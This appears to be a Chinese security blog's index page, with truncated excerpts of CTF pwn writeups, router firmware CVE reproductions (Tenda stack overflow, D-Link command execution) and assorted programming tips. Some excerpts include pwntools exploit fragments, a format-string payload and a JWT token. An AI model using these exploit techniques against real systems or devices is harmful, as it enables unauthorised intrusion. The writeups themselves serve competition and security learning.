- 博客(135)
- 资源 (2)
- 收藏
- 关注
原创 GToken 自定义错误返回
假如说我们需要登录成功 Code 修改为 200 ,Data 修改为 token ,在。在生成 token 后调用。进行登录后处理,只需要在。完整返回报文对应结构体。
2023-04-25 23:58:56
239
原创 【goframe学习】配置管理-更改加载的配置文件
需要实现程序,根据运行环境加载对应配置文件,配置文件以命名进行区分(config_xxx.yaml)。只记录更改配置文件方法,不涉及自动切换配置文件。goframe 配置管理模块 gcfg 设置有默认目录、默认文件(名),自动检索加载默认目录下默认文件。因此,分为两项修改操作,根据自身需求,选择其中之一或者进行组合。下面在基础上,添加个人理解和实际代码示例。
2023-02-12 01:53:27
1585
原创 pwntools发送eof信号
做题目遇到的两种 eof 信号需求情况:发送 eof 之后,后续不需要继续输入(vnctf-White-Give-Flag)发送 eof 之后,后续还需要继续输入(mtctf-blind)eof 发送后继续输入不用 mtctf-blind 做例子,因为利用 eof 绕过第一层之后,由于题目其他方面而无法 getshell ,用一个 demo 例子(来源)代替:#include <stdio.h>#include <stdlib.h>#include <stri
2021-05-28 00:50:05
1916
原创 第一届广东省大学生网络安全攻防大赛PWN Writeup
两个题目都是无输出堆题,最近一次比赛在 nepctf 遇到:https://www.mrskye.cn/archives/bdb75c49/#sooooeasy思路方法概述:https://www.jianshu.com/p/fe28639e406eBabyNote题目是基于 glibc 2.31 的菜单堆题。漏洞出现在 free 之后没有置零指针导致的 UAF :程序没有输出函数,倒是有一个提示的函数 gift 函数,输出堆地址最低两个字节,没用明白,到最后也不关他的事情。思路:利.
2021-05-24 17:44:32
3606
7
原创 2021 CVVD首届车联网漏洞挖掘赛线上初赛 Writeup
jwt原题https://blog.youkuaiyun.com/weixin_46676743/article/details/113726655带着Authorization:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImVicmVidW5hIiwicGFzc3dvcmQiOiIiLCJhZG1pbiI6ImdlaHIiLCJpYXQiOjE2MjA0NTgwMzJ9.QkpCPfCtmMmeEYRoLFzzT8ag7mIaIPIcbZLZAB
2021-05-09 23:26:09
3317
3
原创 Ubuntu安装arm、mips交叉编译链
废话之前学路由器的时候装 mips 和 mipsel 交叉编译链是用 buildroot 自己编译安装的,但是这玩意下载的内核文件是个国外地址,速度奇慢无比。还有就是他们俩装一个就行,可以通过参数调整大小端,加完参数不起作用,得根据 h4lo 师傅文章写得先编译再链接。这学期上嵌入式系统开发需要用到 arm 交叉编译链,找了一下有几种实现方法:apt 直接安装去 https://www.linaro.org/downloads/ 下载编译好的,配置一下环境变量就能用buildroot 自己编译
2021-03-07 11:06:32
3657
原创 ida反编译后查找函数外部哪个库方法
研究路由器固件时,这个函数调用外部函数库中的 usrGetPass :切换到固件根目录后:grep -rn "usrGetPass"匹配出含有 usrGetPass 的文件,第一个是分析的文件,第二个就是要找的动态函数库。在 ida 开头也有记录需要哪些外部函数库:...
2021-02-16 22:48:24
1604
转载 github更新fork项目,不额外增加commit方法
原文地址:https://gitbook.tw/chapters/github/syncing-a-fork.html第一招:砍掉重练这招很简单,就是把Fork 过来的专案砍掉,再重新Fork 一次,这样保证就会是最新版本。不要笑,虽然这招感觉技术力很低,但这招很好用,完全不需要打任何程式码或指令就可以完成。我也知道其实不少人会用这个方式在进行同步…第二招:跟上游同步比较有技术力一点的做法(其实也是比较正统的做法),就是把原作的专案设定成上游专案,Fetch 回来之后再自己手动合并。第一步:设.
2021-02-15 21:56:26
563
原创 CVE-2018-5767 栈溢出漏洞复现
TENDA-AC15 型号路由器上的一个漏洞,产生原因是没有限制用户输入,使用 sscanf 直接将输入拷贝到栈上,导致栈溢出。复现环境漏洞固件在官网没找着,去百度找到了,地址在这里版本号:V15.03.1.16qemu v5.2Ubuntu 18.04ida 7.5漏洞分析需要配置好 qemu 桥接网络,不能就去 patch 一下 check_network 的返回值。设置桥接网络安装依赖:sudo apt-get install bridge-utils um
2021-02-12 21:25:30
1428
原创 CNVD-2018-01084 远程代码执行复现
Dlink DIR 615/645/815 路由上远程代码执行漏洞。漏洞存在于 /htdocs/cgibin 二进制文件中,原因是 service.cgi 中未经过滤就将用户输入拼接到命令中。复现环境漏洞固件 Firmware:DIR-645_A1_FW: v1.02b08 (for WW) (tw官网选择 DIR-645 第一个文件)qemu v5.2Ubuntu 18.04ida 7.5(能搞 mips 反编译工具都行)直接运行如下:漏洞分析strrchr 匹配出 / 后面的参数后
2021-02-09 23:38:17
789
原创 2020 湖湘杯 PWN WriteUp
比赛的时候出去玩了,这就来复盘babyheap基本情况增删查改,数量限制比较宽松挺大的,大小固定 0xf8 。漏洞safe_read 写入大小为 0xf8 会溢出修改下一个 chunk size 最低两位为 \x00 。char *__fastcall safe_read(char *ptr, int size){ char *result; // rax read(0, ptr, 0xF0uLL); result = &ptr[size]; .
2020-11-11 16:48:29
764
3
原创 2020 西普杯 信息安全铁人三项 第四赛区 Writeup
namepie基本情况程序有后门:漏洞第二次输入栈溢出思路pie 保护 partly write 绕过。第一次输入泄露 canary ,第二次覆盖 ripEXPfrom pwn import *context(log_level='debug')# p = process("./namepie")p = remote("172.20.14.168",9999)elf = ELF("./namepie")p.recvuntil(":\n")name = 'skye'.lj
2020-11-09 08:50:59
3816
8
原创 HITCON_2018_children_tcache
tcache 结合 off by null基本情况Arch: amd64-64-littleRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE enabledFORTIFY: Enabled基本堆管理器,有增删查功能。用 chunk_ptr_list 和 chunk_size_list 两个链表维护,数量上限为 12 ,使用的不是只递增的下标,而是哪个下标没有使用就用哪个,即只.
2020-10-24 00:58:15
982
原创 ciscn_2019_es_1 writeup
基本情况Arch: amd64-64-littleRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE enabled简单堆管理程序,有增删查功能。chunk 上限为 12 个,有 0x18 的结构体,又通过链表管理结构体。结构体如下:struct{ void **chunk_ptr;//8bit size_t size;//4bit int number;//(12
2020-10-24 00:57:28
763
1
原创 ciscn_final_3 writeup
基本情况Arch: amd64-64-littleRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE enabledC++程序。只有两个功能,新建、释放堆块。数量上限为:24,大小限制为:0x78 。用列表维护,释放操作基于下标定位指针。新建完成后会输出堆 fd 内存地址。漏洞free 没指令指针,造成 UAF :unsigned __int64 my_free(){ __
2020-10-24 00:56:18
344
原创 [V&N2020 公开赛]easyTHeap writeup
基本情况保护全开[*] '/ctf/work/vn_pwn_easyTHeap' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled基本堆管理器,有增删查改功能。用 chunk_ptr_list 和 chunk_size_list 两个链表维护堆,堆数量实际上不由两个全局变量控制,而是受限
2020-10-24 00:53:20
485
原创 ciscn_2019_n_3 writeup
基本情况这题被环境坑了一把,用的是 docker 环境做题,checksec 检测是保护全开,ida 分析时也没有留意地址都是真实地址,所以一直没想用 system@plt getshell 。。。后面才发现程序是关闭 PIE ,程序有 system ,直接调用不需要泄露 libc 操作。程序是一个有增删查的堆管理器,根据存储资料的类型分为两类,对应结构体如下:struct int_chunk{ void *rec_int_print(); void *rec_int_free();
2020-10-24 00:51:07
644
原创 劫持 64 位静态程序 fini_array 进行 ROP 攻击
[scode type=“lblue”]2020年8月6日 标题添加“静态程序”,补充与 64 位动态程序对比和利用方法差异小结[/scode]程序起点程序的启动流程如图所示:可以看到 main 函数不是程序起点,之前写的 格式化字符串盲打 也分析过 text 段起点是 _start 函数 。_start 函数调用__libc_start_main 完成启动和退出工作。具体看看 _start 函数:.text:0000000000401A60 public star
2020-09-13 22:49:31
872
原创 Python2中input()函数漏洞
函数简介input()函数是python中的内置函数,函数作用是从stdin中读取数据input() 与 raw_input() 区别python2 两个常见输入函数:input 和 raw_input 。raw_input() 会将输入的内容转换为字符串:#!/usr/bin/env python# -*- coding: utf-8 -*-a1 = raw_input("字符串:")print type(a1)a2 = raw_input("数字:")print type(a2)
2020-09-13 22:48:13
1689
原创 BUU刷题笔记2
#!/usr/bin/python-- coding: utf-8 --from pwn import *context(log_level = ‘info’, os=‘linux’, arch=‘amd64’)p = process("./note3")p = remote(“node3.buuoj.cn”,25763)elf = ELF("./note3")libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")def add(size,content)
2020-09-13 22:47:38
212
原创 2016 HCTF fheap writeup
基本情况Arch: amd64-64-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: PIE enabled基本功能阉割版堆管理器,有增删功能。// 管理堆的结构体struct{ int inuse; String *str;} Strings[0x10];// 堆结构体typedef struct String{ union {
2020-09-13 22:47:06
369
原创 夜神模拟器adb连接错误,提示ADB SERVER VERSION (36) DOESN‘T MATCH THIS CLIENT (41); KILLING...
夜神模拟器升级到 6.6.1.1 后,adb 连接错误,提示如图:错误原因我用的是 sdk 的 adb ,server 的版本的 36 。夜神升级后的 adb server 版本是 41 不匹配所以错误。解决方法将 sdk 或者你自己安装的 adb 文件夹下的 adb.exe 复制到模拟器的 bin 目录,并重命名为 nox_adb.exe 替换原有的。重新进行链接即可。...
2020-08-08 11:50:14
4858
3
原创 Chunk Extend/Overlapping | 堆拓展、重叠
堆拓展&溢出绝大部分内容来自 CTF-WIKI ,内容引用用于学习记录介绍chunk extend 是堆漏洞的一种常见利用手法,通过 extend 可以实现 chunk overlapping 的效果。这种利用方法需要以下的时机和条件:程序中存在基于堆的漏洞漏洞可以控制 chunk header 中的数据原理chunk extend 技术能够产生的原因在于 ptmalloc 在对堆 chunk 进行操作时使用的各种宏。在 ptmalloc 中,获取 chunk 块大小的操作如
2020-08-06 15:37:04
2067
2
原创 buu刷题笔记--2020年第31周
前几周搞 pwn 有点想吐,搞搞 re 吧reverse11. PE文件分析用的是 Exeinfo PE 这个软件,吾爱上有分享,爱盘也有收录。这一步有点类似 pwn 查看程序的版本、保护情况:64 位的程序。2. 运行程序获取信息题目最好在 命令行 中运行,避免运行结束前的提示字符没来得及看就关闭了。3. x64dbg 打开也可以用 OD 打开,因为OllyDbg 官方中文,我用这个入门吧。用字符串定位程序关键位置,直接点面板的字符串,查找结果不全面的,需要在代码处右键选查找全.
2020-08-02 11:43:46
329
原创 linux系统调用号查询(pwn)
在线查询链接:https://syscalls.w3challs.com/分为32位和64位,链接中还有arm、mips等架构的系统调用号。32位cat /usr/include/asm/unistd_32.h #ifndef _ASM_X86_UNISTD_32_H#define _ASM_X86_UNISTD_32_H 1#define __NR_restart_syscall 0#define __NR_exit 1#define __NR_fork 2#define __NR_r
2020-07-06 23:21:44
974
原创 第五空间部分Writeup
twice分析保护情况Arch: amd64-64-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x400000)漏洞函数程序一共有两次输入的机会,第一次输入长度为 0x50+9 ;第二次输入长度为:0x50+0x20 。存储字符串的变量 s 距离 rbp 是 0x60 ,也就是第二次输入是栈溢出,溢出长度仅可覆盖 rip 。输入处理函数:__
2020-06-26 15:50:23
667
原创 redpwnCTF 2020 pwn部分writeup
coffer-overflow-0分析保护情况Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)漏洞函数题目给了程序源代码,但是我们还是按照正常题目做法分析二进制文件。漏洞就在 main 中,gets 函数存在栈溢出:int __cdecl main(int argc, const char **
2020-06-25 23:10:57
916
原创 DozerCTF Writeup
pwn - ret2 temp一开始记得不是这个题目名字,应该是 ret2dl-resolve ,高大上东西不会分析保护情况32 位动态链接;打开 NX ;Arch: i386-32-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x8048000)漏洞函数read 函数栈溢出ssize_t vuln(){ char buf;
2020-06-14 22:12:22
732
原创 RACTF Writeup pwn
大不列颠的 Rating 0 赛,还是持续 4 天的Not Really AI分析保护情况全关漏洞函数简单格式化字符串int response(){ char s; // [esp+0h] [ebp-208h] puts("How are you finding RACTF?"); fgets(&s, 0x200, stdin); puts("I am glad you"); printf(&s); return puts("\nWe hope .
2020-06-10 12:10:21
412
原创 修改AndroidManifest.xml启动debug
修改方法利用 apktool 等工具反编译后,得到 AndroidManifest.xml 。找到 application 标签,添加属性:android:debuggable=“true” ,修改后如图:查询是否开启 debug/data/system/packages.list这个文件记录所有安装应用的信息:包名、用户id、是否为debug模式、数据目录、是否release版、组id。安装 apk 后查询:C:\Users\SkYe>adb shell1|root@shamu:/ #
2020-05-21 10:57:27
3841
原创 攻防世界-eastjni-Writeup
eastjni考点:自定义密码表base加密、so分析前面的怎么定位 java 层关键位置就略过,查一下错误弹窗就能找到。输入字符串会作为 mainactivity/a 的参数输入:private boolean a(String paramString){ try { a locala = new com/a/easyjni/a; locala.<init>(); bool = ncheck(locala.a(para
2020-05-16 00:10:51
292
原创 攻防世界-easyjava-Writeup
easyjava[collapse title=“展开查看详情” status=“false”]考点:手撕算法部分函数名已重命名,懒得再找一份原题QAQ开门见山,mainactivity 就能找到加密算法入口。函数将输入值剔除flag{} ,然后传入加密函数。private static Boolean b(String string) { // 结尾} Boolean result; int index = 0; if(!string.startsWith("fla
2020-05-15 18:48:49
702
原创 攻防世界-string-Writeup
string[collapse title=“展开查看详情” status=“false”]考点:格式化字符串任意地址写小数题目前面有几个条件循环绕过,反编译就能看出,不再赘述。看漏洞函数:unsigned __int64 sub_400BB9(){ int v1; // [rsp+4h] [rbp-7Ch] __int64 v2; // [rsp+8h] [rbp-78h] char format; // [rsp+10h] [rbp-70h] unsigned __int64
2020-05-15 18:48:10
546
原创 攻防世界-guess_num-Writeup
guess_num[collapse title=“展开查看详情” status=“false”]考察点:利用栈溢出固定随机数__int64 __fastcall main(__int64 a1, char **a2, char **a3){ int v4; // [rsp+4h] [rbp-3Ch] int i; // [rsp+8h] [rbp-38h] int v6; // [rsp+Ch] [rbp-34h] char v7; // [rsp+10h] [rbp-30h]
2020-05-15 18:45:49
504
原创 攻防世界-level3-Writeup
level3[collapse title=“展开查看详情” status=“false”]考点:栈溢出、ROP(ret2libc)ssize_t vulnerable_function(){ char buf; // [esp+0h] [ebp-88h] write(1, "Input:\n", 7u); return read(0, &buf, 0x100u); //溢出}打开了 NX 保护栈数据不可执行,程序没有预留后门。解决办法就是 ret2libc ,这
2020-05-15 18:35:11
551
原创 攻防世界-CGfsb-Writeup
CGfsb[collapse title=“展开查看详情” status=“false”]考点:写入小数字格式化字符串完整 exp :from pwn import *context.log_level = ';debug';p = remote("111.198.29.45",59528)#p = process("./CGfsb")pwnme = 0x0804A068payload = "%8c%12$n" + p32(pwnme)p.recvuntil("name")p
2020-05-15 18:34:30
278
原创 攻防世界-pwn-200-Writeup
pwn-200[collapse title=“展开查看详情” status=“false”]考点:栈溢出、泄露地址漏洞函数如下:ssize_t sub_8048484(){ char buf; // [esp+1Ch] [ebp-6Ch] setbuf(stdin, &buf); return read(0, &buf, 0x100u);//溢出}可操作空间空间很长就不需要什么骚操作了。就是没给 libc 文件,需要去libc database 查一下而已。查到
2020-05-15 18:33:58
452
原创 攻防世界-pwn-100-Writeup
pwn-100[collapse title=“展开查看详情” status=“false”]考点:栈溢出、ROP这个栈溢出每次固定要求输入 200 个字符,也没有别的了。ROP 操作也不需要往 bss 写入 /bin/sh ,直接在 libc 找一个就好了。(看到网上有这样的操作orz)#encoding:utf-8from pwn import *context.log_level = 'debug'context(os='linux',arch='amd64')p = remot
2020-05-15 18:33:31
428
1
原创 攻防世界-note-service2-Writeup
note-service2[collapse title=“展开查看详情” status=“false”]考点:堆上shellcode保护情况:NX 保护关闭Arch: amd64-64-littleRELRO: Partial RELROStack: Canary foundNX: NX disabledPIE: PIE enabledRWX: Has RWX segments漏洞函数:存放堆指针的数组可越界存放。也就是堆指针可放置
2020-05-15 18:32:53
406
Library_System.zip
2019-12-24
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人